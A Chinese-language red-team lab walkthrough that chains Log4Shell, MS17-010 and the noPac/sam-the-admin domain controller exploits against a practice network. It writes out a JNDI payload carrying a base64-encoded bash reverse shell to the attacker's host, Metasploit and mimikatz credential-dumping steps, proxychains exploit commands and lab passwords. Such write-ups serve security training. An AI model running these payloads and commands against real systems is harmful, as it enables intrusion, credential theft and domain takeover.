渗透测试第一步当然是信息搜集
拿到 IP192.168.81.151我们先使用nmap对他进行常规TCP端口的扫描
nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.81.151
发现开放了22,38080这两个端口
通过nmap我们可以得知这是一台Ubuntu,22是ssh,而38080这个端口是unknown的,我们尝试访问一下
于是尝试最近爆出的新漏洞 CVE-2021-44228 尝试看看能不能获取到 dnslog
发现存在 CVE-2021-44228漏洞,尝试去获取一个shell
首先在我们的VPS kali(192.168.81.133) 开启一个LDAP:
git clone https://github.com/black9/Log4shell_JNDIExploit.git
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.81.133
然后在kali上nc监听9999端口:
我们使用TOMCATBYpass进行反弹shell
/bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反弹shell
反弹shell命令需要进行base64编码
BP抓包,改为post传参并且构造payload
payload=${jndi:ldap://192.168.81.133:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzMy85OTk5IDA+JjE=}
最后使用EXP成功反弹shell,要对base64编码进行两次url编码才能执行
发现当前拿到的shell是一个docker容器
想办法逃逸也失败了,最后在/root/目录下找到了flag文件:
flag{redteam.lab-1}Congratulations, you got this: saul Saul123
得到了一个flag,还有一个类似于账号密码的东西
在信息收集中nmap扫到目标主机开放22ssh服务,因此思考可能是ssh的账号密码
通过上节得到的账号和密码登陆到了Ubuntu系统
我们可以看到当前机器拥有两块网卡,一块ens33用于链接外网,一块ens38用于内网通信
在实战的内网渗透中:如果是在 linux 环境下的内网渗透尽量形成全部 bash 和 python 化,因为 Linux 都完全自带,而在 windows 下的内网渗透则尽量全部形成 powershell,bat、vbs 化,尽量不要过于依赖外部工具。
所以我们使用for循环ping一下ens38的c段网络
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
发现内网还有一台机器10.0.1.7存在
或者使用 scan info 工具进行内网信息收集
kali中使用python快速搭建httpd
靶机下载工具并赋予权限
进行内网信息收集
发现10.0.1.7存活并存在MS17-010
随后为了方便,我选择用 frp 把当前机器的流量代理出来:
配置frps.ini
配置frpc.ini
然后使用 Metasploit 设置 Socks5 对内网进行深度信息搜集;
setg Proxies socks5:192.168.81.133:8888
setg ReverseAllowProxy true
使用 smb 版本探测模块对目标进行扫描:
use auxiliary/scanner/smb/smb_version
发现目标10.0.1.7版本是windows7,并且存在域REDTEAM
既然是windows7,那么就可能存在MS17-010漏洞
通过上节,我们知道了10.0.1.7是win7,接下来进行探测
通过探测得知这台机器是存在ms17-010漏洞的
由于目标是内网不一定出网,故而tcp反射连接不能使用 设置为payload正向bind_tcp
直接拿到win7权限,然后加载mimikataz把密码抓出来
Username Domain Password
root REDTEAM Red12345
meterpreter > load mimikatz 加载工具
meterpreter > creds_all 列出凭证
注意命令是从内存中抓取密码,靶场原始状态为暂停恢复即可,如果重启过需要登录一次win7
这个时候就得到了一个域用户的账号了。
通过对当前内网的信息搜集之后发现,win7还有一块内网的网卡
且定位到域控到域控 IP 为 10.0.0.12
由于最近爆出了两个域内漏洞:CVE-2021-42287、CVE-2021-42278,直接尝试利用一下。
具体原理是:假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞CVE-2021-42287创建一个机器用户saulGoodman,再把机器用户 saulGoodman的sAMAccountName改成DC。然后利用DC去申请一个TGT票据。再把DC的sAMAccountName改为sAMAccountName。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(DC是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。
于是直接使用MSF添加一个socks5
添加路由
run autoroute -s 10.0.0.7/24
然后我们把本地的代理加上就行了
利用工具下载地址
https://github.com/WazeHell/sam-the-admin
https://github.com/Ridter/noPac
https://github.com/waterrr/noPac
然后利用脚本即可
proxychains python3 sam_the_admin.py "redteam.lab/root:Red12345" -dc-ip 10.0.0.12 -shell
proxychains python noPac.py redteam.lab/root:'Red12345' -dc-ip 10.0.0.12 -shell --impersonate administrator -use-ldap
proxychains python3 exp.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
最后也是拿到了最终的 Flag。